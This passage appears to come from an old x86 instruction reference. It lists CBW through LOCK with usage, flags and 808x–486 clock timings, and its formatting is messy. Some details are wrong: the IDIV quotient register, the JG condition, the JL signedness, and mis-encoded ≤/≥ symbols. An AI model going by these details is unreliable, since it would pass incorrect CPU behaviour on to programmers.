:cbw
^CBW - Convert Byte to Word
```

```
	Usage:	CBW
	Modifies flags: None


	Converts byte in AL to word Value in AX by extending sign of AL
	throughout register AH.


%			Clocks			Size
%	Operands	808x  286   386   486		Bytes

	none		 2   2     3         3         1


	- see ~Instruction Timing~

:cdq
^CDQ - Convert Double to Quad (386+ only)


	Usage:	CDQ
	Modifies flags: None


	Converts signed DWORD in EAX to a signed quad word in EDX:EAX by
	extending the high order bit of EAX throughout EDX


%			Clocks			Size
%	Operands	808x  286   386   486		Bytes

	none		 -   -     2         3         1


	- see ~Instruction Timing~

:clc
^CLC - Clear Carry


	Usage:	CLC
	Modifies flags: CF


	Clears the Carry Flag.


%			Clocks			Size
%	Operands	808x  286   386   486		Bytes

	none		 2   2     2         2         1


	- see ~Instruction Timing~

:cld
^CLD - Clear Direction Flag


	Usage:	CLD
	Modifies flags: DF
```

Clears the Direction Flag causing string instructions to increment the SI and DI index registers.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      none          2   2     2         2         1
```

- see ~Instruction Timing~

:cli
^CLI - Clear Interrupt Flag (disable)

```
      Usage:      CLI
      Modifies flags: IF
```

Disables the maskable hardware interrupts by clearing the Interrupt flag. NMI's and software interrupts are not inhibited.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      none          2   2     3         5         1
```

- see ~Instruction Timing~

:clts
^CLTS - Clear Task Switched Flag (286+ privileged)

```
      Usage:      CLTS
      Modifies flags: None
```

Clears the Task Switched Flag in the Machine Status Register. This is a privileged operation and is generally used only by operating system code.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      none          -   2     5         7         2
```

- see ~Instruction Timing~

:cmc
^CMC - Complement Carry Flag

```
      Usage:      CMC
      Modifies flags: CF
```

Toggles (inverts) the Carry Flag

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      none           2   2     2         2         1
```

- see ~Instruction Timing~

:cmp
^CMP - Compare

```
      Usage:      CMP   dest,src
      Modifies flags: AF CF OF PF SF ZF
```

Subtracts source from destination and updates the flags but does not save result. Flags can subsequently be checked for conditions.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg,reg        3   2     2         1         2
      mem,reg       9+EA 7     5         2        2-4  (W88=13+EA)
      reg,mem       9+EA 6     6         2        2-4  (W88=13+EA)
      reg,immed      4   3     2         1        3-4
      mem,immed    10+EA 6     5         2        3-6  (W88=14+EA)
      accum,immed    4   3     2         1        2-3
```

- see ~Instruction Timing~

:cmps:cmpsb:cmpsw:cmpsd
^CMPS - Compare String (Byte, Word or Doubleword)

```
      Usage:      CMPS  dest,src
            CMPSB
            CMPSW
            CMPSD (386+ only)
      Modifies flags: AF CF OF PF SF ZF
```

Subtracts destination value from source without saving results. Updates flags based on the subtraction and the index registers (E)SI and (E)DI are incremented or decremented depending on the state of the Direction Flag. CMPSB inc/decrements the index registers by 1, CMPSW inc/decrements by 2, while CMPSD increments or decrements by 4. The REP prefixes can be used to process entire data items.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      dest,src       22  8     10    8             1  (W88=30)
```

- see ~Instruction Timing~

:cmpxchg
^CMPXCHG - Compare and Exchange

```
      Usage:      CMPXCHG     dest,src  (486+)
```

Modifies flags: AF CF OF PF SF ZF

Compares the accumulator (8-32 bits) with "dest". If equal the "dest" is loaded with "src", otherwise the accumulator is loaded with "dest".

% Operands	Clocks 808x	286	386	486	Size Bytes
reg,reg	-	-	-	6	2
mem,reg	-	-	-	7	2

- add 3 clocks if the "mem,reg" comparison fails
- see ~Instruction Timing~

:cwd

^CWD - Convert Word to Doubleword

Usage: CWD
Modifies flags: None

Extends sign of word in register AX throughout register DX forming a doubleword quantity in DX:AX.

% Operands	Clocks 808x	286	386	486	Size Bytes
none	5	2	2	3	1

- see ~Instruction Timing~

:cwde

^CWDE - Convert Word to Extended Doubleword (386+ only)

Usage: CWDE
Modifies flags: None

Converts a signed word in AX to a signed doubleword in EAX by extending the sign bit of AX throughout EAX.

% Operands	Clocks 808x	286	386	486	Size Bytes
none	-	-	3	3	1

- see ~Instruction Timing~

:daa

^DAA - Decimal Adjust for Addition

Usage: DAA
Modifies flags: AF CF PF SF ZF (OF undefined)

```
        Corrects result (in AL) of a previous BCD addition operation.
        Contents of AL are changed to a pair of packed decimal digits.


%                       Clocks                  Size
%       Operands     808x  286   386   486        Bytes

        none           4   3     4         2         1


        - see ~Instruction Timing~

:das
^DAS - Decimal Adjust for Subtraction


        Usage:      DAS
        Modifies flags: AF CF PF SF ZF (OF undefined)


        Corrects result (in AL) of a previous BCD subtraction operation.
        Contents of AL are changed to a pair of packed decimal digits.


%                       Clocks                  Size
%       Operands     808x  286   386   486        Bytes

        none           4   3     4         2         1


        - see ~Instruction Timing~

:dec
^DEC - Decrement


        Usage:      DEC   dest
        Modifies flags: AF OF PF SF ZF


        Unsigned binary subtraction of one from the destination.


%                       Clocks                  Size
%       Operands     808x  286   386   486        Bytes

        reg8           3   2     2         1         2
        mem          15+EA 7     6         3        2-4
        reg16/32       3   2     2         1         1


        - see ~Instruction Timing~

:div
^DIV - Divide

        Usage:      DIV   src
        Modifies flags: (AF,CF,OF,PF,SF,ZF undefined)

        Unsigned binary division of accumulator by source.  If the source
        divisor is a byte value then AX is divided by "src" and the quotient
```

is placed in AL and the remainder in AH. If source operand is a word value, then DX:AX is divided by "src" and the quotient is stored in AX and the remainder in DX.

% Operands	Clocks 808x	286	386	486	Size Bytes	
reg8	80-90	14	14	16	2	
reg16	144-162	22	22	24	2	
reg32	-	-	38	40	2	
mem8	(86-96)+EA	17	17	16	2-4	
mem16	(150-168)+EA	25	25	24	2-4	(W88=158-176+EA)
mem32	-	-	41	40	2-4	

- see ~Instruction Timing~

:enter
^ENTER - Make Stack Frame (80188+)

Usage: ENTER locals,level
Modifies flags: None

Modifies stack for entry to procedure for high level language. Operand "locals" specifies the amount of storage to be allocated on the stack.   "Level" specifies the nesting level of the routine. Paired with the ~LEAVE~ instruction, this is an efficient method of entry and exit to procedures.

% Operands	Clocks 808x	286	386	486	Size Bytes
immed16,0	-	11	10	14	4
immed16,1	-	15	12	17	4
immed16,immed8	-	12+4(n-1)	15+4(n-1)	17+3n	4

- see ~Instruction Timing~

:esc
^ESC - Escape

Usage: ESC   immed,src
Modifies flags: None

Provides access to the data bus for other resident processors. The CPU treats it as a ~NOP~ but places memory operand on bus.

% Operands	Clocks 808x	286	386	486	Size Bytes
immed,reg	2	9-20	?		2
immed,mem	2	9-20	?		2-4

- see ~Instruction Timing~

```
:hlt
^HLT - Halt CPU


      Usage:      HLT
      Modifies flags: None


      Halts CPU until RESET line is activated, NMI or maskable interrupt
      received.  The CPU becomes dormant but retains the current CS:IP
      for later restart.


%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      none          2   2     5         4         1


      - see ~Instruction Timing~

:idiv
^IDIV - Signed Integer Division

      Usage:      IDIV src
      Modifies flags: (AF,CF,OF,PF,SF,ZF undefined)

      Signed binary division of accumulator by source.  If source is a
      byte value, AX is divided by "src" and the quotient is stored in
      AL and the remainder in AH.  If source is a word value, DX:AX is
      divided by "src", and the quotient is stored in AL and the
      remainder in DX.
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg8        101-112     17    19    19            2
      reg16       165-184     25    27    27            2
      reg32          -    -     43    43          2
      mem8   (107-118)+EA     20    22    20           2-4
      mem16  (171-190)+EA     38    30    28           2-4  (W88=175-194)
      mem32          -    -     46    44          2-4


      - see ~Instruction Timing~

:imul
^IMUL - Signed Multiply

      Usage:     IMUL  src
            IMUL  src,immed  (286+ only)
            IMUL  dest,src,immed8  (286+ only)
            IMUL  dest,src  (386+ only)
      Modifies flags: CF OF (AF,PF,SF,ZF undefined)


      Signed multiplication of accumulator by "src" with result placed
      in the accumulator.  If the source operand is a byte value, it
      is multiplied by AL and the result stored in AX.  If the source
      operand is a word value it is multiplied by AX and the result is
      stored in DX:AX.  Other variations of this instruction allow
      specification of source and destination registers as well as a
      third immediate factor.
```

```
%                          Clocks          Size
%     Operands     808x 286   386   486         Bytes

      reg8         80-98       13   9-14  13-18   2
      reg16       128-154      21   9-22  13-26   2
      reg32          -   -    9-38  12-42   2
      mem8         86-104      16  12-17  13-18  2-4
      mem16       134-160      24  12-25  13-26  2-4
      mem32          -   -   12-41  13-42  2-4
      reg16,reg16    -   -    9-22  13-26  3-5
      reg32,reg32    -   -    9-38  13-42  3-5
      reg16,mem16    -   -   12-25  13-26  3-5
      reg32,mem32    -   -   12-41  13-42  3-5
      reg16,immed    -   21   9-22  13-26   3
      reg32,immed    -   21   9-38  13-42  3-6
      reg16,reg16,immed  -     2    9-22  13-26        3-6
      reg32,reg32,immed  -     21   9-38  13-42  3-6
      reg16,mem16,immed  -     24  12-25  13-26  3-6
      reg32,mem32,immed  -     24  12-41  13-42  3-6
```

- see ~Instruction Timing~

:in
^IN - Input Byte or Word From Port

Usage: IN   accum,port
Modifies flags: None

A byte, word or dword is read from "port" and placed in AL, AX or EAX respectively. If the port number is in the range of 0-255 it can be specified as an immediate, otherwise the port number must be specified in DX. Valid port ranges on the PC are 0-1024, though values through 65535 may be specified and recognized by third party vendors and PS/2's.

```
%                        Clocks                 Size
%     Operands     808x  286   386    486       Bytes

      accum,immed8      10/14 5     12     14           2
      accum,immed8 (PM)      6/26  8/28/27       2
      accum,DX     8/12 5     13     14           1
      accum,DX (PM)               7/27  8/28/27       1
```

- 386+ protected mode timings depend on privilege levels.

  first number is the timing if: CPL ó IOPL
  second number is the timing if: CPL > IOPL or in VM 86 mode (386)
                                    CPL ò IOPL (486)
  third number is the timing when: virtual mode on 486 processor
- 486 virtual mode always requires 27 cycles

- see ~Instruction Timing~

:inc
^INC - Increment

Usage: INC   dest

Modifies flags: AF OF PF SF ZF

Adds one to destination unsigned binary operand.

%	Clocks				Size	
% Operands	808x	286	386	486	Bytes	
reg8	3	2	2	1	2	
reg16	3	2	2	1	1	
reg32	3	2	2	1	1	
mem	15+EA	7	6	3	2-4	(W88=23+EA)

- see ~Instruction Timing~

:ins:insb:insw:insd
^INS - Input String from Port (80188+)

Usage: INS dest,port
INSB
INSW
INSD (386+ only)
Modifies flags: None

Loads data from port to the destination ES:(E)DI (even if a destination operand is supplied). (E)DI is adjusted by the size of the operand and increased if the Direction Flag is cleared and decreased if the Direction Flag is set. For INSB, INSW, INSD no operands are allowed and the size is determined by the mnemonic.

%	Clocks				Size
% Operands	808x	286	386	486	Bytes
dest,port	-	5	15	17	1
dest,port (PM)	-	5	9/29	10/32/30	1
none	-	5	15	17	1
none (PM)	-	5	9/29	10/32/30	1

- 386+ protected mode timings depend on privilege levels.

first number is the timing if: CPL ó IOPL
second number is the timing if: CPL > IOPL
third number is the timing if: virtual mode on 486 processor

- see ~Instruction Timing~

:int
^INT - Interrupt

Usage: INT num
Modifies flags: TF IF

Initiates a software interrupt by pushing the flags, clearing the Trap and Interrupt Flags, pushing CS followed by IP and loading CS:IP with the value found in the interrupt vector table. Execution then begins at the location addressed by the new CS:IP

```
%                                  Clocks           Size
%         Operands                808x  286   386   486   Bytes

 3 (constant)                           52/72  23+m   33    26   2
 3 (prot. mode, same priv.)         -    40+m   59      44   2
 3 (prot. mode, more priv.)         -    78+m   99      71   2
 3 (from VM86 to PL 0)              -     -    119      82   2
 3 (prot. mode via task gate)       -   167+m   TS    37+TS        2
 immed8                             51/71  23+m   37    30         1
 immed8 (prot. mode, same priv.)    -    40+m   59      44   1
 immed8 (prot. mode, more priv.)    -    78+m   99      71   1
 immed8 (from VM86 to PL 0)         -     -    119      86   1
 immed8 (prot. mode, via task gate) -   167+m   TS    37+TS        1
```

      - see ~Instruction Timing~

:into
^INTO - Interrupt on Overflow

      Usage: INTO
      Modifies flags: IF TF

      If the Overflow Flag is set this instruction generates an INT 4
      which causes the code addressed by 0000:0010 to be executed.

```
%                             Clocks       Size
%     Operands          808x  286   386   486      Bytes

      none: jump         53/73   24+m    35    28          1
            no jump           4     3     3     3
      (prot. mode, same priv.) -     -     59    46        1
      (prot. mode, more priv.) -     -     99    73        1
      (from VM86 to PL 0)      -     -    119    84        1
      (prot. mode, via task gate)    -     TS  39+TS     1
```

      - see ~Instruction Timing~

:invd
^INVD - Invalidate Cache (486+ only)

      Usage: INVD
      Modifies flags: none

      Flushes CPU internal cache. Issues special function bus cycle
      which indicates to flush external caches.   Data in write-back
      external caches is lost.

```
%                         Clocks          Size
%     Operands     808x 286   386   486         Bytes

      none          -    -     -     4            2
```

      - see ~Instruction Timing~

:invlpg
^INVLPG - Invalidate Translation Look-Aside Buffer Entry (486+ only)

Usage: INVLPG
Modifies flags: none

Invalidates a single page table entry in the Translation Look-Aside Buffer. Intel warns that this instruction may be implemented differently on future processors.

% Operands	Clocks 808x	286	386	486	Size Bytes
none	-	-	-	12	2

- timing is for TLB entry hit only.
- see ~Instruction Timing~

:iret:iretd
^IRET/IRETD - Interrupt Return

Usage: IRET
IRETD (386+ only)
Modifies flags: AF CF DF IF PF SF TF ZF

Returns control to point of interruption by popping IP, CS and then the Flags from the stack and continues execution at this location.   CPU exception interrupts will return to the instruction that cause the exception because the CS:IP placed on the stack during the interrupt is the address of the offending instruction.

% Operands	Clocks 808x	286	386	486	Size Bytes
iret	32/44	17+m	22	15	1
iret (prot. mode)	-	31+m	38	15	1
iret (to less privilege)	-	55+m	82	36	1
iret (different task, NT=1)	-	169+m	TS	TS+32	1
iretd	-	-	22/38	15	1
iretd (to less privilege)	-	-	82	36	1
iretd (to VM86 mode)	-	-	60	15	1
iretd (different task, NT=1)	-	-	TS	TS+32	1

- 386 timings are listed as real-mode/protected-mode
- see ~Instruction Timing~

:j...
^Jump Instructions Table

% Mnemonic	Meaning	Jump Condition
~JA~	Jump if Above	CF=0 and ZF=0
~JAE~	Jump if Above or Equal	CF=0
~JB~	Jump if Below	CF=1
~JBE~	Jump if Below or Equal	CF=1 or ZF=1
~JC~	Jump if Carry	CF=1

```
    ~JCXZ~   Jump if CX Zero                CX=0
    ~JE~         Jump if Equal              ZF=1
    ~JG~         Jump if Greater (signed)         ZF=0 and SF=OF
    ~JGE~        Jump if Greater or Equal (signed)      SF=OF
    ~JL~         Jump if Less (signed)            SF != OF
    ~JLE~        Jump if Less or Equal (signed)   ZF=1 or SF != OF
    ~JMP~        Unconditional Jump               unconditional
    ~JNA~        Jump if Not Above                CF=1 or ZF=1
    ~JNAE~   Jump if Not Above or Equal           CF=1
    ~JNB~        Jump if Not Below                CF=0
    ~JNBE~   Jump if Not Below or Equal           CF=0 and ZF=0
    ~JNC~        Jump if Not Carry                CF=0
    ~JNE~        Jump if Not Equal                ZF=0
    ~JNG~        Jump if Not Greater (signed)     ZF=1 or SF != OF
    ~JNGE~   Jump if Not Greater or Equal (signed) SF != OF
    ~JNL~        Jump if Not Less (signed)        SF=OF
    ~JNLE~   Jump if Not Less or Equal (signed)   ZF=0 and SF=OF
    ~JNO~        Jump if Not Overflow (signed)    OF=0
    ~JNP~        Jump if No Parity                PF=0
    ~JNS~        Jump if Not Signed (signed)            SF=0
    ~JNZ~        Jump if Not Zero                 ZF=0
    ~JO~         Jump if Overflow (signed)        OF=1
    ~JP~         Jump if Parity             PF=1
    ~JPE~        Jump if Parity Even              PF=1
    ~JPO~        Jump if Parity Odd               PF=0
    ~JS~         Jump if Signed (signed)          SF=1
    ~JZ~         Jump if Zero               ZF=1

%                             Clocks                Size
%     Operands     808x  286   386   486        Bytes

      Jx: jump      16   7+m   7+m    3          2
          no jump    4  3     3         1
      Jx  near-label       -  -    7+m    3             4
          no jump    -  -     3         1


      - It's a good programming practice to organize code so the
        expected case is executed without a jump since the actual
        jump takes longer to execute than falling through the test.
      - see ~JCXZ~  and  ~JMP~  for their respective timings
      - see   ~Instruction Timing~   ~FLAGS~

:ja:jnbe
^JA/JNBE - Jump Above / Jump Not Below or Equal


      Usage:      JA    label
            JNBE  label
      Modifies flags: None


      Causes execution to branch to "label" if the Carry Flag and Zero Flag
      are both clear.  Unsigned comparision.


%                       Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      label:      jump    16   7+m   7+m    3          2-4
            no jump       4   3     3         1
```

```
      - see ~Instruction Timing~

:jae:jnb
^JAE/JNB - Jump Above or Equal / Jump on Not Below


      Usage:      JAE   label
            JNB   label
      Modifies flags: None


      Causes execution to branch to "label" if the Carry Flag is clear.
      Functionally similar to ~JNC~.  Unsigned comparision.


%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      label:      jump    16   7+m   7+m    3          2-4
            no jump       4   3     3         1


      - see ~Instruction Timing~

:jb:jnae
^JB/JNAE - Jump Below / Jump Not Above or Equal


      Usage:      JB    label
            JNAE  label
      Modifies flags: None


      Causes execution to branch to "label" if the Carry Flag is set.
      Functionally similar to ~JC~.  Unsigned comparision.


%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      label:      jump    16   7+m   7+m    3          2-4
            no jump       4   3     3         1


      - see ~Instruction Timing~

:jbe:jna
^JBE/JNA - Jump Below or Equal / Jump Not Above


      Usage:      JBE   label
            JNA   label
      Modifies flags: None


      Causes execution to branch to "label" if the Carry Flag or
      the Zero Flag is set.   Unsigned comparision.


%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      label:      jump    16   7+m   7+m    3          2-4
```

```
            no jump       4   3     3         1


      - see ~Instruction Timing~

:jc
^JC - Jump on Carry


      Usage:      JC    label
      Modifies flags: None


      Causes execution to branch to "label" if the Carry Flag is set.
      Functionally similar to ~JB~ and ~JNAE~.  Unsigned comparision.


%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      label:      jump    16   7+m   7+m    3          2-4
            no jump       4   3     3         1


      - see ~Instruction Timing~

:jcxz:jecxz
^JCXZ/JECXZ - Jump if Register (E)CX is Zero


      Usage:      JCXZ  label
            JECXZ label  (386+ only)
      Modifies flags: None


      Causes execution to branch to "label" if register CX is zero.  Uses
      unsigned comparision.

%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      label:      jump    18   8+m   9+m    8           2
            no jump        6  4     5         5


      - see ~Instruction Timing~

:je:jz
^JE/JZ - Jump Equal / Jump Zero


      Usage:      JE    label
            JZ    label
      Modifies flags: None


      Causes execution to branch to "label" if the Zero Flag is set.   Uses
      unsigned comparision.

%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      label:      jump    16   7+m   7+m    3          2-4
```

```
        no jump       4   3     3         1


      - see ~Instruction Timing~

:jg:jnle
^JG/JNLE - Jump Greater / Jump Not Less or Equal


      Usage:      JG    label
            JNLE  label
      Modifies flags: None


      Causes execution to branch to "label" if the Zero Flag is clear or
      the Sign Flag equals the Overflow Flag.  Signed comparision.


%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      label:      jump    16   7+m   7+m    3          2-4
            no jump       4   3     3         1


      - see ~Instruction Timing~

:jge:jnl
^JGE/JNL - Jump Greater or Equal / Jump Not Less


      Usage:      JGE   label
            JNL   label
      Modifies flags: None


      Causes execution to branch to "label" if the Sign Flag equals
      the Overflow Flag.  Signed comparision.


%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      label:      jump    16   7+m   7+m    3          2-4
            no jump       4   3     3         1


      - see ~Instruction Timing~

:jl:jnge
^JL/JNGE - Jump Less / Jump Not Greater or Equal


      Usage:      JL    label
            JNGE  label
      Modifies flags: None


      Causes execution to branch to "label" if the Sign Flag is not equal
      to Overflow Flag.  Unsigned comparision.


%                        Clocks                 Size
```

```
%     Operands     808x  286   386   486        Bytes

      label:      jump    16   7+m   7+m    3          2-4
            no jump       4   3     3         1


      - see ~Instruction Timing~
```

:jle:jng
^JLE/JNG - Jump Less or Equal / Jump Not Greater

```
      Usage:      JLE   label
            JNG   label
      Modifies flags: None
```

Causes execution to branch to "label" if the Zero Flag is set or the Sign Flag is not equal to the Overflow Flag. Signed comparision.

```
%                      Clocks                Size
%     Operands     808x  286   386   486        Bytes

      label:      jump    16   7+m   7+m    3          2-4
            no jump       4   3     3         1


      - see ~Instruction Timing~
```

:jmp
^JMP - Unconditional Jump

```
      Usage:      JMP   target
      Modifies flags: None
```

Unconditionally transfers control to "label". Jumps by default are within -32768 to 32767 bytes from the instruction following the jump. NEAR and SHORT jumps cause the IP to be updated while FAR jumps cause CS and IP to be updated.

```
%                                         Clocks
%             Operands            808x  286    386   486

      rel8  (relative)             15    7+m    7+m    3
      rel16 (relative)             15    7+m    7+m    3
      rel32 (relative)              -     -     7+m    3
      reg16 (near, register indirect)         11    7+m    7+m    5
      reg32 (near, register indirect)          -     -     7+m    5
      mem16 (near, mem indirect)         18+EA  11+m  10+m    5
      mem32 (near, mem indirect)         24+EA  15+m  10+m    5
      ptr16:16 (far, dword immed)        -     -    12+m    17
      ptr16:16 (far, PM dword immed)           -     -    27+m    19
      ptr16:16 (call gate, same priv.)    -    38+m  45+m    32
      ptr16:16 (via TSS)                       -   175+m   TS     42+TS
      ptr16:16 (via task gate)           -   180+m   TS     43+TS
      mem16:16 (far, indirect)           -     -    43+m    13
      mem16:16 (far, PM indirect)        -     -    31+m    18
      mem16:16 (call gate, same priv.)    -    41+m  49+m    31
      mem16:16 (via TSS)                 -   178+m  5+TS  41+TS
      mem16:16 (via task gate)           -   183+m  5+TS  42+TS
      ptr16:32 (far, 6 byte immed)       -     -    12+m    13
      ptr16:32 (far, PM 6 byte immed)          -     -    27+m    18
```

```
      ptr16:32 (call gate, same priv.)     -     -    45+m    31
      ptr16:32 (via TSS)                   -     -     TS     42+TS
      ptr16:32 (via task state)            -     -     TS     43+TS
      m16:32 (far, address at dword)             -     -    43+m    13
      m16:32 (far, address at dword)             -     -    31+m    18
      m16:32 (call gate, same priv.)             -     -    49+m    31
      m16:32 (via TSS)                -     -    5+TS  41+TS
      m16:32 (via task state)              -     -    5+TS  42+TS

 - see ~Instruction Timing~
```

:jnc
^JNC - Jump Not Carry

```
      Usage:      JNC   label
      Modifies flags: None


      Causes execution to branch to "label" if the Carry Flag is clear.
      Functionally similar to ~JAE~ or ~JNB~.  Unsigned comparision.


%                        Clocks                Size
%     Operands     808x  286   386   486        Bytes

      label:      jump    16   7+m   7+m    3          2-4
            no jump       4   3     3         1


      - see ~Instruction Timing~
```

:jne:jnz
^JNE/JNZ - Jump Not Equal / Jump Not Zero

```
      Usage:      JNE   label
            JNZ   label
      Modifies flags: None


      Causes execution to branch to "label" if the Zero Flag is clear.
      Unsigned comparision.

%                        Clocks                Size
%     Operands     808x  286   386   486        Bytes

      label:      jump    16   7+m   7+m    3          2-4
            no jump       4   3     3         1


      - see ~Instruction Timing~
```

:jno
^JNO - Jump Not Overflow

```
      Usage:      JNO   label
      Modifies flags: None


      Causes execution to branch to "label" if the Overflow Flag is clear.
      Signed comparision.
```

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      label:      jump    16   7+m   7+m    3          2-4
            no jump       4   3     3         1
```

- see ~Instruction Timing~

:jns
^JNS - Jump Not Signed

```
      Usage:      JNS   label
      Modifies flags: None
```

Causes execution to branch to "label" if the Sign Flag is clear.
Signed comparision.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      label:      jump    16   7+m   7+m    3          2-4
            no jump       4   3     3         1
```

- see ~Instruction Timing~

:jnp:jpo
^JNP/JPO - Jump Not Parity / Jump Parity Odd

```
      Usage:      JNP   label
            JPO   label
      Modifies flags: None
```

Causes execution to branch to "label" if the Parity Flag is clear.
Unsigned comparision.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      label:      jump    16   7+m   7+m    3          2-4
            no jump       4   3     3         1
```

- see ~Instruction Timing~

:jo
^JO - Jump on Overflow

```
      Usage:      JO  label
      Modifies flags: None
```

Causes execution to branch to "label" if the Overflow Flag is set.
Signed comparision.

```
%                        Clocks                 Size
```

```
%       Operands      808x  286   386   486        Bytes

        label:      jump    16   7+m   7+m    3          2-4
              no jump       4   3     3         1


        - see ~Instruction Timing~
```

:jp:jpe
^JP/JPE - Jump on Parity / Jump on Parity Even

```
        Usage:      JP    label
              JPE   label
        Modifies flags: None
```

Causes execution to branch to "label" if the Parity Flag is set.
Unsigned comparision.

```
%                        Clocks                 Size
%       Operands      808x  286   386   486        Bytes

        label:      jump    16   7+m   7+m    3          2-4
              no jump       4   3     3         1


        - see ~Instruction Timing~
```

:js
^JS - Jump Signed

```
        Usage:      JS    label
        Modifies flags: None
```

Causes execution to branch to "label" if the Sign Flag is set.
Signed comparision.

```
%                        Clocks                 Size
%       Operands      808x  286   386   486        Bytes

        label:      jump    16   7+m   7+m    3          2-4
              no jump       4   3     3         1


        - see ~Instruction Timing~
```

:lahf
^LAHF - Load Register AH From Flags

```
        Usage:      LAHF
        Modifies flags: None
```

Copies bits 0-7 of the flags register into AH. This includes flags
AF, CF, PF, SF and ZF other bits are undefined.

```
%                        Clocks                 Size
%       Operands      808x  286   386   486        Bytes
```

```
      none           4   2     2         3         1
```

- see ~Instruction Timing~

:lar
^LAR - Load Access Rights (286+ protected)

Usage: LAR   dest,src
Modifies flags: ZF

The high byte of the of the destination register is overwritten by the value of the access rights byte and the low order byte is zeroed depending on the selection in the source operand. The Zero Flag is set if the load operation is successful.

```
%                         Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg16,reg16   -   14    15    11            3
      reg32,reg32   -   -     15    11            3
      reg16,mem16   -   16    16    11           3-7
      reg32,mem32   -   -     16    11           3-7
```

- see ~Instruction Timing~

:lds
^LDS - Load Pointer Using DS

Usage: LDS   dest,src
Modifies flags: None

Loads 32-bit pointer from memory source to destination register and DS. The offset is placed in the destination register and the segment is placed in DS. To use this instruction the word at the lower memory address must contain the offset and the word at the higher address must contain the segment. This simplifies the loading of far pointers from the stack and the interrupt vector table.

```
%                         Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg16,mem32 16+EA 7     7         6        2-4
      reg,mem (PM)        -   -     22    12           5-7
```

- see ~Instruction Timing~

:lea
^LEA - Load Effective Address

Usage: LEA   dest,src
Modifies flags: None

Transfers offset address of "src" to the destination register.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg,mem      2+EA 3     2         1        2-4


      - see ~Instruction Timing~
```

:leave
^LEAVE - Restore Stack for Procedure Exit (80188+)

```
      Usage:      LEAVE
      Modifies flags: None
```

Releases the local variables created by the previous ~ENTER~ instruction by restoring SP and BP to their condition before the procedure stack frame was initialized.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      none          -   5     4         5         1


      - see ~Instruction Timing~
```

:les
^LES - Load Pointer Using ES

```
      Usage:      LES   dest,src
      Modifies flags: None
```

Loads 32-bit pointer from memory source to destination register and ES. The offset is placed in the destination register and the segment is placed in ES. To use this instruction the word at the lower memory address must contain the offset and the word at the higher address must contain the segment. This simplifies the loading of far pointers from the stack and the interrupt vector table.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg,mem     16+EA 7     7         6        2-4  (W88=24+EA)
      reg,mem (PM)        -   -     22    12          5-7


      - see ~Instruction Timing~
```

:lfs
^LFS - Load Pointer Using FS (386+ only)

```
      Usage:      LFS   dest,src
      Modifies flags: None
```

Loads 32-bit pointer from memory source to destination register
and FS. The offset is placed in the destination register and the
segment is placed in FS. To use this instruction the word at the
lower memory address must contain the offset and the word at the
higher address must contain the segment. This simplifies the loading
of far pointers from the stack and the interrupt vector table.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg,mem       -   -     7         6        5-7
      reg,mem (PM)        -   -     22    12          5-7
```

- see ~Instruction Timing~

:lgdt
^LGDT - Load Global Descriptor Table (286+ privileged)

Usage: LGDT src
Modifies flags: None

Loads a value from an operand into the Global Descriptor Table
(~GDT~) register.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      mem64         -   11    11    11            5
```

- see ~Instruction Timing~

:lidt
^LIDT - Load Interrupt Descriptor Table (286+ privileged)

Usage: LIDT src
Modifies flags: None

Loads a value from an operand into the Interrupt Descriptor Table
(IDT) register.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      mem64         -   12    11    11            5
```

- see ~Instruction Timing~

:lgs
^LGS - Load Pointer Using GS (386+ only)

Usage: LGS   dest,src
Modifies flags: None

```
      Loads 32-bit pointer from memory source to destination register
      and GS.  The offset is placed in the destination register and the
      segment is placed in GS.  To use this instruction the word at the
      lower memory address must contain the offset and the word at the
      higher address must contain the segment.  This simplifies the loading
      of far pointers from the stack and the interrupt vector table.


%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg,mem       -   -     7         6        5-7
      reg,mem (PM)        -   -     22    12          5-7


      - see ~Instruction Timing~

:lldt
^LLDT - Load Local Descriptor Table  (286+ privileged)


      Usage:      LLDT  src
      Modifies flags: None


      Loads a value from an operand into the Local Descriptor Table
      Register (LDTR).


%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg16         -   17    20    11            3
      mem16         -   19    24    11            5


      - see ~Instruction Timing~

:lmsw
^LMSW - Load Machine Status Word  (286+ privileged)


      Usage:      LMSW  src
      Modifies flags: None


      Loads the Machine Status Word (~MSW~) from data found at "src"


%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg16         -   3     10    13            3
      mem16         -   6     13    13            5


      - see ~Instruction Timing~

:lock
^LOCK - Lock Bus
```

```
        Usage:      LOCK
              LOCK: (386+ prefix)
        Modifies flags: None


        This instruction is a prefix that causes the CPU assert bus lock
        signal during the execution of the next instruction.  Used to
        avoid two processors from updating the same data location.  The
        286 always asserts lock during an XCHG with memory operands.  This
        should only be used to lock the bus prior to ~XCHG~, ~MOV~, ~IN~ and
        ~OUT~ instructions.


%                         Clocks                 Size
